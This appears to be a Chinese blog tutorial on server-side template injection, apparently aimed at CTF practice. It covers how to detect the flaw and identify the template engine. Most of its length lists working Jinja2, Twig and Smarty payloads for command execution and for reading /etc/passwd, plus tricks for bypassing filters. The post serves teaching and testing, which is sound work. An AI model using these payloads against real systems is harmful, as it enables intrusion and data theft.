我的blog,欢迎来玩
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。在这篇文章中,我将会攻击几个模板引擎来说明该类漏洞,并展示沙箱逃逸技术。
在考虑进行模板注入之前,我们需要进行漏洞探测
大部分的模板语言支持我们输入 HTML,未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。
例如,考虑一个包含以下易受攻击的代码的模板:
render('Hello ' + username)
我们可以发送如下 payload:
{7*7}
或者通过请求URL来测试服务器端模板的注入:
/?username=${7*7}
如果结果输出包含Hello 49
,则表明正在服务器端评估数学运算。这是服务器端模板注入漏洞的良好概念证明。
在一些环境下,用户的输入也会被当作模板的可执行代码。
这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:
/?greeting=data.username
在没有XSS的情况下,这通常会导致输出中出现空白条目(只是Hello没有用户名),编码标签或错误消息。
下一步是尝试使用通用模板语法突破该语句,并尝试在其后注入任意HTML:
/?greeting=data.username}}
如果再次导致错误或空白输出,则说明使用了错误的模板语言提供的语法,或者,如果没有模板样式的语法似乎有效,则无法进行服务器端模板注入。
或者,如果输出和任意HTML一起正确呈现,则表明存在服务器端模板注入漏洞:
Hello user01
一旦检测到模板注入潜力,下一步就是确定模板引擎。
尽管有大量的模板语言,但是其中许多模板使用非常相似的语法,而这些语法是专门为不与HTML字符冲突而选择的。
通常只需提交无效的语法就足够了,因为产生的错误消息将准确告诉您模板引擎是什么,有时甚至是哪个版本。例如,无效表达式<%=foobar%>
从基于Ruby的ERB引擎触发以下响应:
(erb):1:in `': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `'
否则,需要手动测试特定于语言的不同有效负载,根据不同的运算值判断模板。常用的方法是使用来自不同模板引擎的语法注入任意数学运算。
这里的绿线表示结果成功返回,红线反之。
相同的有效负载有时可能会以一种以上的模板语言返回成功的响应。例如有效负载{{7*'7'}}
在Twig中返回49,在Jinja2中返回7777777。
读模板文献是构造 exp 的第一步。一般来讲,我们需要关注如下部分:
当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。
如果没有这样的对象或函数,我们需要暴力枚举变量名。
有些时候,开发者也会在模板中包含了一些敏感信息。不过这视情况而定,因此不在这里讨论。
有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}
这时,我们只需递交:
<%
import os
x=os.popen('id').read()
%>
${x}
即可
但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。
下图为常见模板结构:
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象(返回调用的参数类型)
__mro__ 返回一个包含对象所继承的基类元组(返回类型列表),方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用(返回object的子类),这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
获取基本类
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可
''.__class__.__mro__[2].__subclasses__().index(file)
40
然后通过.read读取文件即可(py2)
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
python2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} //文件读取
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //文件读取
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}} //命令执行
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} //命令执行
python3
//命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
//文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
拼接查找目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
查找根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
开头的都是class什么的,说明是python3 写的flask。因为py2写的话,开头的都是type。
python2下有file而在python3下已经没有了,所以是直接用open。
更详细的方法查看参考链接第五条 浅析SSTI(python沙盒绕过)
1.绕过中括号
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
2.过滤引号
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&pat
3.过滤{ {或者} }
可以使用{ %绕过,
{ % % }中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
4.过滤_
用编码绕过
__class__ => \x5f\x5fclass\x5f\x5f
_ 是 \x5f,. 是 \x2E 如果也过滤了
可以用利用request.args
属性
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args
改为request.values
则利用post的方式进行传参
5.过滤.
.在payload中是很重要的,但是我们依旧可以采用attr()绕过
举例
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}
使用attr()绕过:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
6.绕过config参数
{{config}}可以获取当前设置,如果题目类似
app.config ['FLAG'] = os.environ.pop('FLAG')
那可以直接访问
{{config['FLAG']}} 或者 {{config.FLAG}}
得到flag。但是如果被过滤了,则
{{self}} ⇒
{{self.__dict__._TemplateReference__context.config}}
同样可以找到config
7.关键字过滤
base64编码绕过
__getattribute__
使用实例访问属性时,调用该方法
例如被过滤掉__class__
关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
//不对就加join
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。
参考文章:ctf中smarty介绍与例题
smarty,应用比较少。
文件读取
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
rce
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} (cat /flag )
{{['cat /etc/passwd']|filter('system')}}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
参考链接 服务端模板注入攻击 - 知乎 (zhihu.com)
对各个模板有讲解
服务端模板注入攻击 - 知乎 (zhihu.com)
细说服务器端模板注入(SSTI) - FreeBuf网络安全行业门户
CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)
从零学习flask模板注入
SSTI模板注入及绕过姿势(基于Python-Jinja2)
浅析SSTI(python沙盒绕过)
https://blog.csdn.net/qq_45521281/article/details/106639111
附:读者可辅助参考的文章
SSTI学习
END